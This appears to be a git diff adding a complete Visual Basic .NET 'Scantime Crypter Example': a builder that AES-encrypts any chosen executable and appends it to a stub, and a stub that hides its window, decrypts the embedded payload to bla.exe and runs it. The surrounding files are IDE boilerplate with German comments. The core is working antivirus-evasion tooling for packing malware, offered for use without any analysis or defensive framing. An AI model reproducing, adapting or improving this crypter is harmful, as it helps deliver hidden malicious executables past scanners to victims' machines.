MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj.user b/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj.user new file mode 100644 index 0000000..cd2e7cb --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj.user @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/Form1.Designer.vb b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.Designer.vb new file mode 100644 index 0000000..913a2f1 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.Designer.vb @@ -0,0 +1,95 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Das Formular überschreibt den Löschvorgang, um die Komponentenliste zu bereinigen. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Wird vom Windows Form-Designer benötigt. + Private components As System.ComponentModel.IContainer + + 'Hinweis: Die folgende Prozedur ist für den Windows Form-Designer erforderlich. + 'Das Bearbeiten ist mit dem Windows Form-Designer möglich. + 'Das Bearbeiten mit dem Code-Editor ist nicht möglich. + _ + Private Sub InitializeComponent() + Me.Button1 = New System.Windows.Forms.Button + Me.GroupBox1 = New System.Windows.Forms.GroupBox + Me.Button2 = New System.Windows.Forms.Button + Me.TextBox1 = New System.Windows.Forms.TextBox + Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog + Me.GroupBox1.SuspendLayout() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(12, 99) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(260, 27) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Crypt!" + Me.Button1.UseVisualStyleBackColor = True + ' + 'GroupBox1 + ' + Me.GroupBox1.Controls.Add(Me.TextBox1) + Me.GroupBox1.Controls.Add(Me.Button2) + Me.GroupBox1.Location = New System.Drawing.Point(12, 18) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(255, 64) + Me.GroupBox1.TabIndex = 1 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "Choose a file" + ' + 'Button2 + ' + Me.Button2.Location = New System.Drawing.Point(158, 26) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(86, 21) + Me.Button2.TabIndex = 0 + Me.Button2.Text = "..." + Me.Button2.UseVisualStyleBackColor = True + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(6, 27) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(146, 20) + Me.TextBox1.TabIndex = 2 + ' + 'OpenFileDialog1 + ' + Me.OpenFileDialog1.FileName = "OpenFileDialog1" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 148) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.Button1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Scantime Crypter example" + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog + +End Class diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/Form1.resx b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.resx new file mode 100644 index 0000000..5d4a9b8 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/Form1.vb b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.vb new file mode 100644 index 0000000..f8f4061 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/Form1.vb @@ -0,0 +1,74 @@ +Imports System.Security.Cryptography +Imports System.IO +Imports System.Text + +Public Class Form1 + + + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Dim key As String = "dlkaslkdasdlskadasdafdfsdf" + Dim sStub As String + Dim sFile As String + Dim Splitt As String = "@@@@" + Dim Cryptfile As String + FileOpen(1, ("Stub.exe"), OpenMode.Binary) + sStub = Space(LOF(1)) + FileGet(1, sStub) + FileClose(1) + + FileOpen(1, (TextBox1.Text), OpenMode.Binary) + sFile = Space(LOF(1)) + FileGet(1, sFile) + FileClose(1) + + Cryptfile = sFile + Dim oAesProvider As New RijndaelManaged + Dim btClear() As Byte + + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + + Dim ms As New IO.MemoryStream + Dim cs As New CryptoStream(ms, _ + oAesProvider.CreateEncryptor(), _ + CryptoStreamMode.Write) + btClear = System.Text.Encoding.UTF8.GetBytes(Cryptfile) + cs.Write(btClear, 0, btClear.Length) + cs.Close() + Cryptfile = Convert.ToBase64String(ms.ToArray) + + FileOpen(1, ("Crypted.exe"), OpenMode.Binary) + FilePut(1, sStub) + FilePut(1, Splitt) + FilePut(1, Cryptfile) + FilePut(1, Splitt) + FileClose(1) + + + + MsgBox("Datei wurde erfolgreich verschlüsselt", MsgBoxStyle.Information, "Erfolgreich") + + + + + + + End Sub + + + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + With OpenFileDialog1 + + .Filter = "Executables (*.exe)|*.exe" + .ShowDialog() + TextBox1.Text = .FileName + End With + End Sub + +End Class diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.Designer.vb b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..cc57a83 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.WindowsApplication1.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.myapp b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/AssemblyInfo.vb b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..2045293 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Allgemeine Informationen über eine Assembly werden über die folgenden +' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +' die mit einer Assembly verknüpft sind. + +' Die Werte der Assemblyattribute überprüfen + + + + + + + + + + +'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird + + +' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +' +' Hauptversion +' Nebenversion +' Buildnummer +' Revision +' +' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +' übernehmen, indem Sie "*" eingeben: +' + + + diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.Designer.vb b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..08147de --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.resx b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.Designer.vb b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..2602cd7 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.WindowsApplication1.My.MySettings + Get + Return Global.WindowsApplication1.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.settings b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbproj.CoreCompileInputs.cache b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbproj.CoreCompileInputs.cache new file mode 100644 index 0000000..679d26f --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +cf2934cb0354200db85870e77d0e2b34df52478a diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbprojAssemblyReference.cache b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbprojAssemblyReference.cache new file mode 100644 index 0000000..e9b0755 Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/Crypter.vbprojAssemblyReference.cache differ diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000..8dddda4 Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..d84ce41 Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll new file mode 100644 index 0000000..3657881 Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/Crypter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub.sln b/scode (Scantime Crypter Example/crypterstub/crypterstub.sln new file mode 100644 index 0000000..f1b3bb1 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "crypterstub", "crypterstub\crypterstub.vbproj", "{577CCBC5-F6AA-43B5-8E34-9774BB4F0737}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {577CCBC5-F6AA-43B5-8E34-9774BB4F0737}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {577CCBC5-F6AA-43B5-8E34-9774BB4F0737}.Debug|Any CPU.Build.0 = Debug|Any CPU + {577CCBC5-F6AA-43B5-8E34-9774BB4F0737}.Release|Any CPU.ActiveCfg = Release|Any CPU + {577CCBC5-F6AA-43B5-8E34-9774BB4F0737}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub.suo b/scode (Scantime Crypter Example/crypterstub/crypterstub.suo new file mode 100644 index 0000000..e294a94 Binary files /dev/null and b/scode (Scantime Crypter Example/crypterstub/crypterstub.suo differ diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.Designer.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.Designer.vb new file mode 100644 index 0000000..39a764a --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.Designer.vb @@ -0,0 +1,38 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Das Formular überschreibt den Löschvorgang, um die Komponentenliste zu bereinigen. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Wird vom Windows Form-Designer benötigt. + Private components As System.ComponentModel.IContainer + + 'Hinweis: Die folgende Prozedur ist für den Windows Form-Designer erforderlich. + 'Das Bearbeiten ist mit dem Windows Form-Designer möglich. + 'Das Bearbeiten mit dem Code-Editor ist nicht möglich. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 262) + Me.Name = "Form1" + Me.Text = "Form1" + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.resx b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.resx new file mode 100644 index 0000000..ff31a6d --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.vb new file mode 100644 index 0000000..93c44f3 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/Form1.vb @@ -0,0 +1,52 @@ +Imports System.Security.Cryptography +Imports Microsoft.Win32 +Imports System.IO +Public Class Form1 + Dim sStub As String + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Me.Hide() + Dim splittkey As String = "@@@@" + Dim key As String = "dlkaslkdasdlskadasdafdfsdf" + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + sStub = Space(LOF(1)) + FileGet(1, sStub) + FileClose(1) + + Dim Splitter() As String + Splitter = Split(sStub, splittkey) + + Dim todecrypt As String + todecrypt = Splitter(1) + + Dim oAesProvider As New RijndaelManaged + Dim btCipher() As Byte + + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + + Dim ms As New IO.MemoryStream + Dim cs As New CryptoStream(ms, oAesProvider.CreateDecryptor(), _ + CryptoStreamMode.Write) + Try + btCipher = Convert.FromBase64String(todecrypt) + cs.Write(btCipher, 0, btCipher.Length) + cs.Close() + todecrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray) + Catch + End + End Try + + FileOpen(1, ("bla.exe"), OpenMode.Binary) + FilePut(1, todecrypt) + FileClose(1) + + Shell("bla.exe", AppWinStyle.NormalFocus) + + + + + End Sub +End Class diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.Designer.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.Designer.vb new file mode 100644 index 0000000..cc57a83 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.WindowsApplication1.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.myapp b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/AssemblyInfo.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..a128be5 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Allgemeine Informationen über eine Assembly werden über die folgenden +' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +' die mit einer Assembly verknüpft sind. + +' Die Werte der Assemblyattribute überprüfen + + + + + + + + + + +'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird + + +' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +' +' Hauptversion +' Nebenversion +' Buildnummer +' Revision +' +' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +' übernehmen, indem Sie "*" eingeben: +' + + + diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.Designer.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.Designer.vb new file mode 100644 index 0000000..08147de --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.resx b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.Designer.vb b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.Designer.vb new file mode 100644 index 0000000..2602cd7 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.WindowsApplication1.My.MySettings + Get + Return Global.WindowsApplication1.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.settings b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj b/scode (Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj new file mode 100644 index 0000000..f32b1b9 --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj @@ -0,0 +1,127 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {577CCBC5-F6AA-43B5-8E34-9774BB4F0737} + WinExe + WindowsApplication1.My.MyApplication + WindowsApplication1 + crypterstub + 512 + WindowsForms + v4.0 + On + Binary + Off + On + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + crypterstub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + crypterstub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + \ No newline at end of file diff --git a/scode 